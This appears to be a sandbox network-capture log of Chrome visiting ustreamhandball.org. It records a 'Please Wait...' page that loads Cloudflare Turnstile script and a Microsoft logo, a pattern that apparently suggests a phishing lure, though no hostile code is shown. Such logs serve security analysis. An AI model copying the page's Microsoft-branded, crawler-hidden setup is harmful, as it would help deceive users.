2025-01-09 23:21:03 UTC	2545	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 6c 65 61 73 65 20 57 61 69 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Please Wait...</title> <meta name="robots" content="noindex, nofollow"> <script src="https://c
2025-01-09 23:21:03 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-09 23:21:03 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49765	104.18.95.41	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:03 UTC	567	OUT	GET /turnstile/v0/api.js?render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.ustreamhandball.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:21:03 UTC	386	IN	HTTP/1.1 302 Found Date: Thu, 09 Jan 2025 23:21:03 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/e0c90b6a3ed1/api.js Server: cloudflare CF-RAY: 8ff8295699dcc33c-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49766	185.15.59.240	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:03 UTC	650	OUT	GET /wikipedia/commons/0/0f/Microsoft_logo_-_2012_%28vertical%29.svg HTTP/1.1 Host: upload.wikimedia.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.ustreamhandball.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:21:04 UTC	1075	IN	HTTP/1.1 200 OK content-type: image/svg+xml x-object-meta-sha1base36: 54qn80sp0fnrvoux41vtpb3mzuefljw last-modified: Tue, 04 Apr 2017 21:57:27 GMT date: Thu, 09 Jan 2025 20:30:53 GMT server: envoy etag: W/83cc982c609e1aa311d46f8066c2c645 vary: Accept-Encoding age: 10210 x-cache: cp3075 hit, cp3075 hit/4 x-cache-status: hit-front server-timing: cache;desc="hit-front", host;desc="cp3075" strict-transport-security: max-age=106384710; includeSubDomains; preload report-to: { "group": "wm_nel", "max_age": 604800, "endpoints": [{ "url": "https://intake-logging.wikimedia.org/v1/events?stream=w3c.reportingapi.network_error&schema_uri=/w3c/reportingapi/network_error/1.0.0" }] } nel: { "report_to": "wm_nel", "max_age": 604800, "failure_fraction": 0.05, "success_fraction": 0.0} x-client-ip: 8.46.123.189 x-content-type-options: nosniff access-control-allow-origin: * access-control-expose-headers: Age, Date, Content-Length, Content-Range, X-Content-Duration, X-Cache timing-allow-origin: * accept-ranges: bytes content-length: 7952 connection: close
2025-01-09 23:21:04 UTC	7952	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 20 73 74 61 6e 64 61 6c 6f 6e 65 3d 22 6e 6f 22 3f 3e 0a 3c 21 2d 2d 20 43 72 65 61 74 65 64 20 77 69 74 68 20 49 6e 6b 73 63 61 70 65 20 28 68 74 74 70 3a 2f 2f 77 77 77 2e 69 6e 6b 73 63 61 70 65 2e 6f 72 67 2f 29 20 2d 2d 3e 0a 0a 3c 73 76 67 0a 20 20 20 78 6d 6c 6e 73 3a 64 63 3d 22 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 64 63 2f 65 6c 65 6d 65 6e 74 73 2f 31 2e 31 2f 22 0a 20 20 20 78 6d 6c 6e 73 3a 63 63 3d 22 68 74 74 70 3a 2f 2f 63 72 65 61 74 69 76 65 63 6f 6d 6d 6f 6e 73 2e 6f 72 67 2f 6e 73 23 22 0a 20 20 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 Data Ascii: <?xml version="1.0" encoding="UTF-8" standalone="no"?>... Created with Inkscape (http://www.inkscape.org/) --><svg xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:cc="http://creativecommons.org/ns#" xmlns:rdf="http://www.w3.org/1999/02/22-r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49772	104.18.95.41	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:04 UTC	566	OUT	GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.ustreamhandball.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:21:04 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 23:21:04 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47521 Connection: close accept-ranges: bytes last-modified: Wed, 08 Jan 2025 13:42:47 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8ff8295abd5642fc-EWR alt-svc: h3=":443"; ma=86400
2025-01-09 23:21:04 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 57 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2025-01-09 23:21:04 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 41 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2025-01-09 23:21:04 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 42 74 28 65 29 7c 7c 6a 74 28 65 2c 72 29 7c 7c 7a 74 28 65 2c 72 29 7c 7c 71 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return Bt(e)\|\|jt(e,r)\|\|zt(e,r)\|\|qt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0
2025-01-09 23:21:04 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 58 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Xt=300020;var De=300030;var Ve=300031;var j;(fu
2025-01-09 23:21:04 UTC	1369	IN	Data Raw: 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 4a 7c 7c 28 4a 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 Data Ascii: ="never",e.MANUAL="manual",e.AUTO="auto"})(J\|\|(J={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(fu
2025-01-09 23:21:04 UTC	1369	IN	Data Raw: 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 4b 74 3d 33 30 30 2c 24 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 Data Ascii: ecute"],e)}var Kt=300,$t=10;function yt(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&r.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clea
2025-01-09 23:21:04 UTC	1369	IN	Data Raw: 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 75 2c 67 3d 4d 28 4e 72 2c 28 75 3d 28 72 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 72 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 75 21 3d 3d 76 6f 69 64 20 30 3f 75 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 68 2c 6c 3d 4d 28 6b 72 2c 28 68 3d 28 6e 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 6e 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 Data Ascii: innerWidth<400,c=e.state===Ie.FAILURE_FEEDBACK\|\|e.state===Ie.FAILURE_HAVING_TROUBLES,u,g=M(Nr,(u=(r=e.displayLanguage)===null\|\|r===void 0?void 0:r.toLowerCase())!==null&&u!==void 0?u:"nonexistent"),h,l=M(kr,(h=(n=e.displayLanguage)===null\|\|n===void 0?void
2025-01-09 23:21:04 UTC	1369	IN	Data Raw: 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 53 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 53 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 53 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 75 2c 67 29 7b 76 61 72 20 68 3d 5b 6e 75 6c 6c 5d 3b 68 2e 70 75 73 68 2e 61 70 70 6c 79 28 68 2c 75 29 3b 76 61 72 20 6c 3d 46 75 6e 63 74 69 6f 6e 2e 62 69 6e 64 2e 61 70 70 6c 79 28 63 2c 68 29 2c 70 3d 6e 65 77 20 6c 3b 72 65 74 75 72 6e 20 67 26 26 5a 28 70 2c 67 2e 70 72 6f 74 6f 74 79 70 65 29 2c 70 7d 2c 53 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 6d 65 6e 74 73 29 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 72 65 74 75 72 6e 20 63 65 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 Data Ascii: urn!1}}function Se(e,r,n){return je()?Se=Reflect.construct:Se=function(c,u,g){var h=[null];h.push.apply(h,u);var l=Function.bind.apply(c,h),p=new l;return g&&Z(p,g.prototype),p},Se.apply(null,arguments)}function ce(e){return ce=Object.setPrototypeOf?Objec
2025-01-09 23:21:04 UTC	1369	IN	Data Raw: 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 73 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 7a 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 57 69 74 68 28 48 65 29 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 48 65 2e 6c 65 6e 67 74 68 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 51 28 65 29 7b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 48 65 29 2e 63 6f 6e 63 61 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 76 61 72 20 65 3d 2f 5c 2f 74 75 72 6e 73 74 69 6c 65 5c 2f 76 30 28 5c 2f 2e 2a 29 3f 5c 2f 61 70 69 5c 2e 6a 73 2f 2c 72 3d 64 6f 63 Data Ascii: ");throw new sr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function ze(e){return e.startsWith(He)?e.substring(He.length):null}function Q(e){return"".concat(He).concat(e)}function Rt(){var e=/\/turnstile\/v0(\/.*)?\/api\.js/,r=doc
2025-01-09 23:21:04 UTC	1369	IN	Data Raw: 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 6c 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 34 29 22 3b 76 61 72 20 70 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 70 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 74 61 62 6c 65 2d 63 65 6c 6c 22 2c 70 2e 73 74 79 6c 65 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3d 22 6d 69 64 64 6c 65 22 2c 70 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 70 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 3b Data Ascii: rmOrigin="center center",l.style.overflowX="hidden",l.style.overflowY="auto",l.style.background="rgba(0,0,0,0.4)";var p=document.createElement("div");p.style.display="table-cell",p.style.verticalAlign="middle",p.style.width="100vw",p.style.height="100vh";

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49773	185.15.59.240	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:04 UTC	407	OUT	GET /wikipedia/commons/0/0f/Microsoft_logo_-_2012_%28vertical%29.svg HTTP/1.1 Host: upload.wikimedia.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:21:05 UTC	1075	IN	HTTP/1.1 200 OK content-type: image/svg+xml x-object-meta-sha1base36: 54qn80sp0fnrvoux41vtpb3mzuefljw last-modified: Tue, 04 Apr 2017 21:57:27 GMT date: Thu, 09 Jan 2025 20:30:53 GMT server: envoy etag: W/83cc982c609e1aa311d46f8066c2c645 vary: Accept-Encoding age: 10211 x-cache: cp3075 hit, cp3075 hit/5 x-cache-status: hit-front server-timing: cache;desc="hit-front", host;desc="cp3075" strict-transport-security: max-age=106384710; includeSubDomains; preload report-to: { "group": "wm_nel", "max_age": 604800, "endpoints": [{ "url": "https://intake-logging.wikimedia.org/v1/events?stream=w3c.reportingapi.network_error&schema_uri=/w3c/reportingapi/network_error/1.0.0" }] } nel: { "report_to": "wm_nel", "max_age": 604800, "failure_fraction": 0.05, "success_fraction": 0.0} x-client-ip: 8.46.123.189 x-content-type-options: nosniff access-control-allow-origin: * access-control-expose-headers: Age, Date, Content-Length, Content-Range, X-Content-Duration, X-Cache timing-allow-origin: * accept-ranges: bytes content-length: 7952 connection: close
2025-01-09 23:21:05 UTC	7952	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 20 73 74 61 6e 64 61 6c 6f 6e 65 3d 22 6e 6f 22 3f 3e 0a 3c 21 2d 2d 20 43 72 65 61 74 65 64 20 77 69 74 68 20 49 6e 6b 73 63 61 70 65 20 28 68 74 74 70 3a 2f 2f 77 77 77 2e 69 6e 6b 73 63 61 70 65 2e 6f 72 67 2f 29 20 2d 2d 3e 0a 0a 3c 73 76 67 0a 20 20 20 78 6d 6c 6e 73 3a 64 63 3d 22 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 64 63 2f 65 6c 65 6d 65 6e 74 73 2f 31 2e 31 2f 22 0a 20 20 20 78 6d 6c 6e 73 3a 63 63 3d 22 68 74 74 70 3a 2f 2f 63 72 65 61 74 69 76 65 63 6f 6d 6d 6f 6e 73 2e 6f 72 67 2f 6e 73 23 22 0a 20 20 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 Data Ascii: <?xml version="1.0" encoding="UTF-8" standalone="no"?>... Created with Inkscape (http://www.inkscape.org/) --><svg xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:cc="http://creativecommons.org/ns#" xmlns:rdf="http://www.w3.org/1999/02/22-r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49780	104.18.95.41	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:05 UTC	383	OUT	GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:21:05 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 23:21:05 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47521 Connection: close accept-ranges: bytes last-modified: Wed, 08 Jan 2025 13:42:47 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8ff82960b9581881-EWR alt-svc: h3=":443"; ma=86400
2025-01-09 23:21:05 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 57 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
